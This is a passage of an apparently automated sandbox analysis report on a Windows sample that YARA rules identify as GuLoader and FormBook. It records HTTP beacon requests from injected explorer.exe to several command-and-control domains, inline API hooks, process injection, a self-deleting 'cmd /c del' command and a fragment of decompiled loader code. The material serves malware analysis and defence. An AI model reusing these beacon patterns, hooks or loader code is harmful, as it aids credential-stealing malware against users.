Jul 18, 2023 09:50:51.452109098 CEST	274	IN	HTTP/1.1 302 Found Date: Tue, 18 Jul 2023 07:50:51 GMT Server: Apache Location: http://dfltweb1.onamae.com Content-Length: 210 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 64 66 6c 74 77 65 62 31 2e 6f 6e 61 6d 61 65 2e 63 6f 6d 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="http://dfltweb1.onamae.com">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.11.20	50113	150.95.255.38	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 18, 2023 09:51:10.600639105 CEST	281	OUT	GET /ms14/?QJB0xT=8VzwEhVnpj9LHHh/dBVXH/vZWr+ED3Zs+ywwPL0zx8n2VWRBGUwo2mcFvQSxFjo7HGkT&B2Mpk=f85PJD7hpN2lIn7P HTTP/1.1 Host: www.civzbpp.xyz Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jul 18, 2023 09:51:10.880863905 CEST	281	IN	HTTP/1.1 302 Found Date: Tue, 18 Jul 2023 07:51:10 GMT Server: Apache Location: http://dfltweb1.onamae.com Content-Length: 210 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 64 66 6c 74 77 65 62 31 2e 6f 6e 61 6d 61 65 2e 63 6f 6d 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="http://dfltweb1.onamae.com">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.11.20	50114	23.227.38.74	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 18, 2023 09:51:31.066368103 CEST	282	OUT	GET /ms14/?B2Mpk=f85PJD7hpN2lIn7P&QJB0xT=bHN4wORI7H+NWcMfY9gYOUeN/ujL3+jkL0HCUOGFoqjmS/sbmAxe1bbDFfr2wZF6/DmY HTTP/1.1 Host: www.trullys.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jul 18, 2023 09:51:31.088898897 CEST	284	IN	HTTP/1.1 403 Forbidden Date: Tue, 18 Jul 2023 07:51:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Sorting-Hat-PodId: 307 X-Sorting-Hat-ShopId: 79231287604 X-Dc: gcp-europe-west3 X-Request-ID: d45d31e3-01ec-4b67-b963-1bcf04a24364 X-Download-Options: noopen X-XSS-Protection: 1; mode=block X-Permitted-Cross-Domain-Policies: none X-Content-Type-Options: nosniff CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=9DmXszm%2FUDeBp9itDXx3AKbHtyqgxxXLMaOv4akt3DyPDqhTm%2BCGmGNxR9C1IzgL8LOb7B0JE65hWA0s7BZ17NeSRtgL6l%2FD%2Bigld832fPhfjD3uyq9%2BADgzfKmOe5Pv6w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server-Timing: cfRequestDuration;dur=14.000177 Server: cloudflare CF-RAY: 7e8923d33d3503b8-FRA alt-svc: h3=":443"; ma=86400 Data Raw: 31 34 31 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 65 76 65 72 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 41 63 63 65 73 73 20 64 65 6e 69 65 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 2a 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 31 46 31 46 31 3b 66 6f 6e 74 2d 73 69 7a 65 3a 36 32 2e 35 25 3b 63 6f 6c 6f 72 3a 23 33 30 33 30 33 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 7d 62 6f 64 79 7b 70 61 64 64 69 Data Ascii: 141d<!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <meta name="referrer" content="never" /> <title>Access denied</title> <style type="text/css"> *{box-sizing:border-box;margin:0;padding:0}html{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;background:#F1F1F1;font-size:62.5%;color:#303030;min-height:100%}body{paddi
Jul 18, 2023 09:51:31.088972092 CEST	285	IN	Data Raw: 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 2e 37 72 65 6d 7d 61 7b 63 6f 6c 6f 72 3a 23 33 30 33 30 33 30 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 31 70 78 20 73 6f 6c 69 64 20 23 33 30 33 30 33 30 3b 74 Data Ascii: ng:0;margin:0;line-height:2.7rem}a{color:#303030;border-bottom:1px solid #303030;text-decoration:none;padding-bottom:1rem;transition:border-color 0.2s ease-in}a:hover{border-bottom-color:#A9A9A9}h1{font-size:1.8rem;font-weight:400;margin:0 0 1
Jul 18, 2023 09:51:31.089030981 CEST	286	IN	Data Raw: 61 72 20 69 6b 6b 65 20 74 69 6c 6c 61 74 65 6c 73 65 20 74 69 6c 20 c3 a5 20 c3 a5 70 6e 65 20 64 65 74 74 65 20 6e 65 74 74 73 74 65 64 65 74 22 0a 20 20 7d 2c 0a 20 20 22 74 68 22 3a 20 7b 0a 20 20 20 20 22 74 69 74 6c 65 22 3a 20 22 e0 b8 81 Data Ascii: ar ikke tillatelse til pne dette nettstedet" }, "th": { "title": "", "content-title": "
Jul 18, 2023 09:51:31.089085102 CEST	288	IN	Data Raw: 75 74 6f 72 69 7a 7a 61 7a 69 6f 6e 65 20 70 65 72 20 61 63 63 65 64 65 72 65 20 61 20 71 75 65 73 74 6f 20 73 69 74 6f 20 77 65 62 22 0a 20 20 7d 2c 0a 20 20 22 70 6c 22 3a 20 7b 0a 20 20 20 20 22 74 69 74 6c 65 22 3a 20 22 4f 64 6d 6f 77 61 20 Data Ascii: utorizzazione per accedere a questo sito web" }, "pl": { "title": "Odmowa dostpu", "content-title": "Nie masz uprawnie dostpu do tej strony internetowej" }, "sv": { "title": "tkomst nekad", "content-title": "Du
Jul 18, 2023 09:51:31.089134932 CEST	289	IN	Data Raw: 6f 6b 2e 22 0a 20 20 7d 2c 0a 20 20 22 7a 68 2d 43 4e 22 3a 20 7b 0a 20 20 20 20 22 74 69 74 6c 65 22 3a 20 22 e8 ae bf e9 97 ae e8 a2 ab e6 8b 92 e7 bb 9d 22 2c 0a 20 20 20 20 22 63 6f 6e 74 65 6e 74 2d 74 69 74 6c 65 22 3a 20 22 e6 82 a8 e6 97 Data Ascii: ok." }, "zh-CN": { "title": "", "content-title": "" }, "nl": { "title": "Toegang geweigerd", "content-title": "Je hebt geen toestemming voor toegang tot deze website" }}; var
Jul 18, 2023 09:51:31.089174986 CEST	289	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.11.20	50115	156.67.72.35	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 18, 2023 09:51:51.454026937 CEST	290	OUT	GET /ms14/?QJB0xT=TIWzyoGdrQFlteRTPc2/q3mkvp99BCJHnTod9wRXADTUDAS/FCyUAwX7vGiWwWxn+VUq&B2Mpk=f85PJD7hpN2lIn7P HTTP/1.1 Host: www.kidomarketing.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jul 18, 2023 09:51:51.603384018 CEST	291	IN	HTTP/1.1 301 Moved Permanently Connection: close content-type: text/html content-length: 707 date: Tue, 18 Jul 2023 07:51:51 GMT server: LiteSpeed location: https://www.kidomarketing.com/ms14/?QJB0xT=TIWzyoGdrQFlteRTPc2/q3mkvp99BCJHnTod9wRXADTUDAS/FCyUAwX7vGiWwWxn+VUq&B2Mpk=f85PJD7hpN2lIn7P platform: hostinger content-security-policy: upgrade-insecure-requests Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 33 30 31 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 62 65 65 6e 20 70 65 72 6d 61 6e 65 6e 74 6c 79 20 6d 6f 76 65 64 2e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.11.20	50116	118.27.130.228	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 18, 2023 09:52:33.491945028 CEST	292	OUT	GET /ms14/?QJB0xT=FUnpMs8zmvOjmROP3PnlROYxRJ7cCFlgEWWc0/bexyWbb6gAbwR4+JgC7sIqrRtPqJOK&B2Mpk=f85PJD7hpN2lIn7P HTTP/1.1 Host: www.peterscanner.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jul 18, 2023 09:52:33.688189983 CEST	293	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 18 Jul 2023 07:43:41 GMT Server: Apache/2 Location: https://www.peterscanner.com/ms14/?QJB0xT=FUnpMs8zmvOjmROP3PnlROYxRJ7cCFlgEWWc0/bexyWbb6gAbwR4+JgC7sIqrRtPqJOK&B2Mpk=f85PJD7hpN2lIn7P Content-Length: 345 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 70 65 74 65 72 73 63 61 6e 6e 65 72 2e 63 6f 6d 2f 6d 73 31 34 2f 3f 51 4a 42 30 78 54 3d 46 55 6e 70 4d 73 38 7a 6d 76 4f 6a 6d 52 4f 50 33 50 6e 6c 52 4f 59 78 52 4a 37 63 43 46 6c 67 45 57 57 63 30 2f 62 65 78 79 57 62 62 36 67 41 62 77 52 34 2b 4a 67 43 37 73 49 71 72 52 74 50 71 4a 4f 4b 26 61 6d 70 3b 42 32 4d 70 6b 3d 66 38 35 50 4a 44 37 68 70 4e 32 6c 49 6e 37 50 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.peterscanner.com/ms14/?QJB0xT=FUnpMs8zmvOjmROP3PnlROYxRJ7cCFlgEWWc0/bexyWbb6gAbwR4+JgC7sIqrRtPqJOK&B2Mpk=f85PJD7hpN2lIn7P">here</a>.</p></body></html>

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
PeekMessageA	INLINE	explorer.exe
PeekMessageW	INLINE	explorer.exe
GetMessageW	INLINE	explorer.exe
GetMessageA	INLINE	explorer.exe

Processes

Process: explorer.exe, Module: user32.dll

Function Name	Hook Type	New Data
PeekMessageA	INLINE	0x48 0x8B 0xB8 0x8C 0xCE 0xEC
PeekMessageW	INLINE	0x48 0x8B 0xB8 0x84 0x4E 0xEC
GetMessageW	INLINE	0x48 0x8B 0xB8 0x84 0x4E 0xEC
GetMessageA	INLINE	0x48 0x8B 0xB8 0x8C 0xCE 0xEC

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: sOjxIU25DP.exePID: 9532, Parent PID: 5484

General

Target ID:	0
Start time:	09:47:24
Start date:	18/07/2023
Path:	C:\Users\user\Desktop\sOjxIU25DP.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\sOjxIU25DP.exe
Imagebase:	0x400000
File size:	412'256 bytes
MD5 hash:	CAAFEC374594C5B93A986BC31DF97F17
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.3281238851.000000000597C000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: sOjxIU25DP.exePID: 8016, Parent PID: 9532

General

Target ID:	2
Start time:	09:47:49
Start date:	18/07/2023
Path:	C:\Users\user\Desktop\sOjxIU25DP.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\sOjxIU25DP.exe
Imagebase:	0x400000
File size:	412'256 bytes
MD5 hash:	CAAFEC374594C5B93A986BC31DF97F17
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.3309090577.00000000000A0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000002.00000002.3309090577.00000000000A0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook, Description: detect Formbook in memory, Source: 00000002.00000002.3309090577.00000000000A0000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000002.00000002.3309090577.00000000000A0000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.3309090577.00000000000A0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.3386638868.00000000348F0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000002.00000002.3386638868.00000000348F0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook, Description: detect Formbook in memory, Source: 00000002.00000002.3386638868.00000000348F0000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000002.00000002.3386638868.00000000348F0000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.3386638868.00000000348F0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: explorer.exePID: 5484, Parent PID: 8016

General

Target ID:	4
Start time:	09:48:02
Start date:	18/07/2023
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff6328c0000
File size:	4'849'904 bytes
MD5 hash:	5EA66FF5AE5612F921BC9DA23BAC95F7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Formbook_772cc62d, Description: unknown, Source: 00000004.00000002.7932779071.000000000A3EB000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: autoconv.exePID: 2536, Parent PID: 5484

General

Target ID:	5
Start time:	09:48:06
Start date:	18/07/2023
Path:	C:\Windows\SysWOW64\autoconv.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\SysWOW64\autoconv.exe
Imagebase:	0xfc0000
File size:	851'968 bytes
MD5 hash:	469594005E3B94C5945BCCE7FC521C05
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: autoconv.exePID: 2868, Parent PID: 5484

General

Target ID:	6
Start time:	09:48:07
Start date:	18/07/2023
Path:	C:\Windows\SysWOW64\autoconv.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\SysWOW64\autoconv.exe
Imagebase:	0xfc0000
File size:	851'968 bytes
MD5 hash:	469594005E3B94C5945BCCE7FC521C05
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: autoconv.exePID: 6852, Parent PID: 5484

General

Target ID:	7
Start time:	09:48:08
Start date:	18/07/2023
Path:	C:\Windows\SysWOW64\autoconv.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\SysWOW64\autoconv.exe
Imagebase:	0xfc0000
File size:	851'968 bytes
MD5 hash:	469594005E3B94C5945BCCE7FC521C05
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: systray.exePID: 5524, Parent PID: 5484

General

Target ID:	8
Start time:	09:48:08
Start date:	18/07/2023
Path:	C:\Windows\SysWOW64\systray.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\systray.exe
Imagebase:	0xd70000
File size:	9'728 bytes
MD5 hash:	28D565BB24D30E5E3DE8AFF6900AF098
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.7905498949.0000000002F10000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000008.00000002.7905498949.0000000002F10000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook, Description: detect Formbook in memory, Source: 00000008.00000002.7905498949.0000000002F10000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000008.00000002.7905498949.0000000002F10000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000002.7905498949.0000000002F10000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.7902345093.00000000009B0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000008.00000002.7902345093.00000000009B0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook, Description: detect Formbook in memory, Source: 00000008.00000002.7902345093.00000000009B0000.00000040.80000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000008.00000002.7902345093.00000000009B0000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000002.7902345093.00000000009B0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.7903855640.0000000002EC0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000008.00000002.7903855640.0000000002EC0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook, Description: detect Formbook in memory, Source: 00000008.00000002.7903855640.0000000002EC0000.00000040.10000000.00040000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000008.00000002.7903855640.0000000002EC0000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000002.7903855640.0000000002EC0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 6336, Parent PID: 5524

General

Target ID:	9
Start time:	09:48:10
Start date:	18/07/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c del "C:\Users\user\Desktop\sOjxIU25DP.exe"
Imagebase:	0x9e0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 6080, Parent PID: 6336

General

Target ID:	10
Start time:	09:48:10
Start date:	18/07/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff74ae70000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: sOjxIU25DP.exePID: 9532, Parent PID: 5484COMMON

Execution Graph

Execution Coverage:	19.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	18.6%
Total number of Nodes:	1562
Total number of Limit Nodes:	40

Executed Functions

Function 00403461 Relevance: 89.6, APIs: 32, Strings: 19, Instructions: 366
stringcomfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			_entry_() {
				signed int _t42;
				intOrPtr* _t47;
				CHAR* _t51;
				char* _t53;
				CHAR* _t55;
				void* _t59;
				intOrPtr _t61;
				int _t63;
				int _t66;
				signed int _t67;
				int _t68;
				signed int _t70;
				void* _t94;
				signed int _t110;
				void* _t113;
				void* _t118;
				intOrPtr* _t119;
				char _t122;
				signed int _t141;
				signed int _t142;
				int _t150;
				void* _t151;
				intOrPtr* _t153;
				CHAR* _t156;
				CHAR* _t157;
				void* _t159;
				char* _t160;
				void* _t163;
				void* _t164;
				char _t189;

				 *(_t164 + 0x18) = 0;
				 *((intOrPtr*)(_t164 + 0x10)) = "Error writing temporary file. Make sure your temp folder is valid.";
				 *(_t164 + 0x20) = 0;
				 *(_t164 + 0x14) = 0x20;
				SetErrorMode(0x8001); // executed
				_t42 = GetVersion() & 0xbfffffff;
				 *0x42474c = _t42;
				if(_t42 != 6) {
					_t119 = E00406631(0);
					if(_t119 != 0) {
						 *_t119(0xc00);
					}
				}
				_t156 = "UXTHEME";
				do {
					E004065C3(_t156); // executed
					_t156 =  &(_t156[lstrlenA(_t156) + 1]);
				} while ( *_t156 != 0);
				E00406631(0xb);
				 *0x424744 = E00406631(9);
